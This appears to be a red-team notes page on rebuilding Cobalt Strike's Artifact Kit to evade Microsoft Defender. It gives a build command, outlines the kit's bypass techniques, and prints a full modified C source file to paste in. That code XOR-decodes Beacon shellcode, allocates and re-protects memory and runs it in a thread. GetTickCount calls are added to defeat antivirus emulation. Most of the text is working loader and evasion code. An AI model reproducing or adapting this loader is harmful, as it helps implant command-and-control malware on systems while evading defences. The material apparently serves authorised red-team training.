Artifact Kit Changes

Various changes need to be made in the below files, following the ThreatChecker process for Defender. Copy and paste the whole file to replace.

The kit can be found in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact.

./build.sh pipe VirtualAlloc 310272 5 false false none /mnt/c/Tools/

Each artifact flavor will be compiled to /mnt/c/Tools/cobaltstrike/artifacts/pipe/ in my case, along with an aggressor script, artifact.cna.

More Info

These Cobalt Strike "artifacts" are nothing more than shellcode runners that inject Beacon shellcode when executed. As a rule of thumb, they inject the shellcode into themselves (e.g. using the VirtualAlloc & CreateThread pattern). The service binary is the one exception, as it spawns a new process and injects the shellcode into that instead. This is done so that when moving laterally with PsExec, the artifact can be deleted from disk immediately.

The Artifact Kit contains the source code for these artifacts and is designed to facilitate the development of sandbox-safe injectors. The idea is to develop artifacts that inject Beacon shellcode in a way that cannot be emulated by AV engines. There are several bypass techniques provided with the kit which you can modify, or you can implement entirely new ones yourself. Where the Artifact Kit does not help is with making Beacon resilient to detection once it's running in memory (e.g. from memory scanners).

The kit can be found in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact.

The code for the entry point of each artifact format (i.e. EXE and DLL) can be found in src-main. These include dllmain.c for the DLL artifacts, main.c for the EXE artifacts, and svcmain.c for the Service EXE artifacts. These just call a function called start, so you should not need to modify these files in most cases. The implementation of this function can be found in each bypass file.

These can be found in src-common and are named bypass-<technique>.c. The included ones are:

  • mailslot - reads the shellcode over a mailslot.

  • peek - uses a combination of Sleep, PeekMessage and GetTickCount.

  • pipe - reads the shellcode over a named pipe.

  • readfile - artifact reads itself from disk and seeks to find the embedded shellcode.

The naming convention of these files tell you what they are used for.

  • '32/64' denotes 32 and 64bit architectures.

  • 'big' denotes that it's stageless.

  • 'svc' denotes that it's a service executable.

/*
 * Artifact Kit - A means to disguise and inject our payloads... *pHEAR*
 * (c) 2012-2023 Fortra, LLC and its group of companies. All trademarks and registered trademarks are the property of their respective owners.
 *
 */

#include <windows.h>
#include <stdio.h>
#include "patch.h"
#if USE_SYSCALLS == 1
#include "syscalls.h"
#include "utils.h"
#endif

char data[sizeof(phear)] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

void set_key_pointers(void * buffer) {
   phear * payload = (phear *)data;

   /* this payload does not adhere to our protocol to pass GetModuleHandleA / GetProcAddress to
      the payload directly. */
   if (payload->gmh_offset <= 0 || payload->gpa_offset <= 0)
      return;

   void * gpa_addr = (void *)GetProcAddress;
   void * gmh_addr = (void *)GetModuleHandleA;

   memcpy(buffer + payload->gmh_offset, &gmh_addr, sizeof(void *));
   memcpy(buffer + payload->gpa_offset, &gpa_addr, sizeof(void *));
}

#ifdef _MIGRATE_
#include "start_thread.c"
#include "injector.c"
void spawn(void * buffer, int length, char * key) {
   char process[64] = "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM";
   int x;

   /* decode the process name with the key (valid name, \0, junk to fill 64) */
   for (int x = 0; x < sizeof(process); x++) {
      char* ptr = (char *)process + x;

    /* do something random, added for obfuscation */
    GetTickCount();

    *ptr = *ptr ^ key[x % 8];
   }

   /* decode the payload with the key */
   for (x = 0; x < length; x++) {
      char* ptr = (char *)buffer + x;

    /* do something random, added for obfuscation */
    GetTickCount();

    *ptr = *ptr ^ key[x % 8];
   }

   /* propagate our key function pointers to our payload */
   set_key_pointers(buffer);

   inject(buffer, length, process);
}
#else

#if STACK_SPOOF == 1
#include "spoof.c"
#endif

void run(void * buffer) {
   void (*function)();
   function = (void (*)())buffer;
#if STACK_SPOOF == 1
   beacon_threadid = GetCurrentThreadId();
#endif
   function();
}

void spawn(void * buffer, int length, char * key) {
   void * ptr = NULL;

   /* This memory allocation will be released by beacon for these conditions:.
    *    1. The stage.cleanup is set to true
    *    2. The reflective loader passes the address of the loader into DllMain.
    *
    * This is true for the built-in Cobalt Strike reflective loader and the example
    * user defined reflective loader (UDRL) in the Arsenal Kit.
    */
#if USE_HeapAlloc
   /* Create Heap */
   HANDLE heap;
   heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

   /* allocate the memory for our decoded payload */
   ptr = HeapAlloc(heap, 0, 10);

   /* Get wacky and add a bit of of HeapReAlloc */
   if (length > 0) {
      ptr = HeapReAlloc(heap, 0, ptr, length);
   }

#elif USE_VirtualAlloc
#if USE_SYSCALLS == 1
   SIZE_T size = length;
   NtAllocateVirtualMemory(GetCurrentProcess(), &ptr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
#else
   ptr = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
#endif

#elif USE_MapViewOfFile
#if USE_SYSCALLS == 1
   SIZE_T size = length;
   HANDLE hFile = create_file_mapping(0, length);
   ptr = map_view_of_file(hFile);
   NtClose(hFile);
#else
   HANDLE hFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, length, NULL);
   ptr = MapViewOfFile(hFile, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);
   CloseHandle(hFile);
#endif
#endif


   /* decode the payload with the key */
   for (int x = 0; x < length; x++) {
      //*((char *)ptr + x) = *((char *)buffer + x) ^ key[x % 8]; // 8 byte XoR

         char original_byte = *((char *)buffer + x);  // Read byte from buffer
         char key_byte = key[x % 8];                  // Get corresponding key byte
         GetTickCount();
         // Perform the original XOR operation, added for obfuscation
         *((char *)ptr + x) = original_byte ^ key_byte;//

   }

#if STACK_SPOOF == 1
   /* setup stack spoofing */
   set_stack_spoof_code();
#endif

   /* propagate our key function pointers to our payload */
   set_key_pointers(ptr);

#if defined(USE_VirtualAlloc) || defined(USE_MapViewOfFile)
   /* fix memory protection */
   DWORD old;
#if USE_SYSCALLS == 1
   NtProtectVirtualMemory(GetCurrentProcess(), &ptr, &size, PAGE_EXECUTE_READ, &old);
#else
   VirtualProtect(ptr, length, PAGE_EXECUTE_READ, &old);
#endif
#endif

   /* spawn a thread with our data */
#if USE_SYSCALLS == 1
   HANDLE thandle;
   NtCreateThreadEx(&thandle, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), &run, ptr, 0, 0, 0, 0, NULL);
#else
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, ptr, 0, NULL);
#endif
}
#endif

Last updated